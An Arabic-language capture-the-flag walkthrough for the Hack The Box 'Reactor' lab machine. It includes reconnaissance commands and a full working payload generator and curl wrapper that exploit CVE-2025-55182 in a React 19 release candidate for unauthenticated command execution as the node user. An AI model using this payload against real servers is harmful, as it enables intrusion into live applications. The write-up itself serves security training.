
دليل كامل لآلة Reactor من HTB — استغلال CVE-2025-55182 للحصول على شل، ثم الحصول على صلاحيات الجذر عبر مصحح أخطاء Node.js مكشوف. خطوة بخطوة مع لقطات شاشة.
[!CAUTION] تحذير من حرق الأحداث. هذا شرح كامل يتضمن الأعلام (flags). إذا كنت تريد حل الجهاز بنفسك، أغلق هذا الآن وعد عندما تتعثر.
| الحقل | التفاصيل |
|---|---|
| الاسم | Reactor |
| نظام التشغيل | Ubuntu 24.04 LTS (Noble) |
| الصعوبة | Medium |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| المنافذ | 22 (SSH), 3000 (Next.js) |
| المؤلف | sonnycroco |
Reactor مبني حول لوحة تحكم لمراقبة محطة نووية تُدعى ReactorWatch. الجهاز بالكامل يدور حول ثغرتين مترابطتين، لا تخمين، لا مسارات وهمية، لا تخمين عنيف.
المسار: بناء ما قبل الإصدار من React 19 يكشف ثغرة خطيرة في إعادة البناء (deserialization) تمنحك تنفيذ كود عن بُعد بدون مصادقة عبر طلب HTTP واحد. ومن هناك، منفذ تصحيح أخطاء Node.js يعمل بصلاحية root يمنحك وصولًا كاملًا للنظام عبر رسالة WebSocket.
سلسلة الهجوم:
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
أول شيء تفعله على أي جهاز جديد هو معرفة ما الذي يستمع على المنافذ. قم بفحص شامل للمنافذ مع كشف الخدمات حتى لا يفوتك شيء.
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

منفذان فقط. SSH طريق مسدود في هذه المرحلة لأننا لا نملك بيانات اعتماد بعد. المنفذ 3000 هو الهدف. يخبرنا Nmap مسبقًا أنه Next.js 15.0.3، وهي بداية جيدة.
قبل رمي أي استغلالات على أي شيء، أريد معرفة الإصدار الدقيق لكل ما يعمل. ترويسات HTTP كشفت بالفعل عن Next.js، لكن إصدار React هو التفصيل الحرج. كان React 19 في مرحلة ما قبل الإصدار لفترة طويلة وكانت لديه مشاكل خطيرة قبل الإصدار المستقر.
نسحب إحدى قطع JavaScript الخاصة بجانب العميل لفحصها:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
إن وجود rc في سلسلة الإصدار هو الدليل القاطع. هذا بناء مرشح للإصدار النهائي من React 19، وليس النسخة المستقرة. تؤكد قواعد بيانات CVE أن CVE-2025-55182 يصيب هذا البناء بالتحديد. درجة CVSS 10.0.
وبينما نحن هنا، أفحص الترويسات بحثًا عن مؤشرات على وجود middleware:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
لا يوجد ترويسة x-middleware-rewrite في أي مكان، مما يعني أنه لا يوجد middleware مثبت في Next.js. هذا يستبعد CVE-2025-29927 (تجاوز middleware)، وهو أمر جدير بالملاحظة حتى لا تضيّع وقتك عليه.
ما نعرفه:
experimental.serverActions19.0.0-rc، متأثر بـ CVE-2025-55182
قدمت مكونات الخادم في React 19 ما يعرف بـ Server Actions، وهي دوال من جهة الخادم يمكن للعميل استدعاؤها عبر طلب HTTP POST مع ترويسة Next-Action. يحتوي محلل جسم الطلبات متعدد الأجزاء (multipart) الذي يعالج هذه الطلبات على عيب خطير: فهو يعيد بناء (deserialize) بشكل غير آمن نوع مرجع يدعى $1:__proto__:then.
من خلال صياغة جسم multipart يعيّن _response._prefix إلى JavaScript عشوائي، يجعل المهاجم ذلك الكود يُنفَّذ على الخادم. ثم يُهرَّب المخرج عبر استثناء تستخدمه Next.js داخليًا لإعادة التوجيه (NEXT_REDIRECT)، وينتهي به الحال مشفَّرًا برمجيًا (URL-encoded) داخل ترويسة الاستجابة x-action-redirect.
أي طلب POST إلى أي صفحة مع ترويسة Next-Action يفعّل هذا. لا فحص مصادقة، ولا نقطة نهاية خاصة. فقط أرسل الحمولة (payload) إلى / وستكون داخل النظام.
سكربت Python صغير يستقبل أمر شل كمدخل، يبني حمولة multipart، ويكتبها إلى القرص ليرسلها curl:
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
للف كل ذلك في دالة شل لإحساس شبه-شل:
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
تبادل HTTP الخام. مخرج الأمر موجود مباشرة في ترويسة إعادة التوجيه:
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
[... multipart body ...]
HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push
rce "id"
# uid=999(node) gid=988(node) groups=988(node)
نحن داخل النظام بحساب خدمة node. لا مصادقة، لا تخمين عنيف، لا هندسة اجتماعية. طلب HTTP POST واحد فقط. هكذا تبدو درجة CVSS 10.0 عمليًا.
